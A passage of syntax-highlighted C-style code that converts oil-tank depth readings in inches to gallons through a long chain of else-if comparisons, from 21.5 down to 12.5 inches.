</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">132.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">131.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">131.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">130.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">21.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">129.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">21</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">129</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">128.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">127.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">126.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">126.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">125.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">124.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">124.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">123.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">20.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">122.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">20</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">122</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">121.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">120.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">119.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">119.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">118.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">117.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">117.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">116.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">19.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">115.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">19</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">115</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">114.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">113.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">112.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">112.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">111.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">110.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">110.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">109.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">18.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">108.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">18</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">108</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">107.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">106.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">105.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">105.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">104.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">103.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">103.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">102.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">17.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">101.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">17</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">101</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">100.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">99.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">98.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">98.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">97.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">96.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">96.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">95.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">94.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">16.0</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">94</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">93.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">92.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">91.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">90.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">90</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">89.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">88.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">87.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">15.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">86.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">15</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">86</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">85.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">84.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">83.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">83.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">82.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">81.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">81.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">80.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">14.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">79.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">14</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">79</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">78.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">77.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">76.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">76.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">75.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">74.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">74.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">73.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">13.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">72.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">13</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">72</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">71.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">70.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">69.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">69.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">68.5</span><span class="p">;</span> <span class="p">}</span>
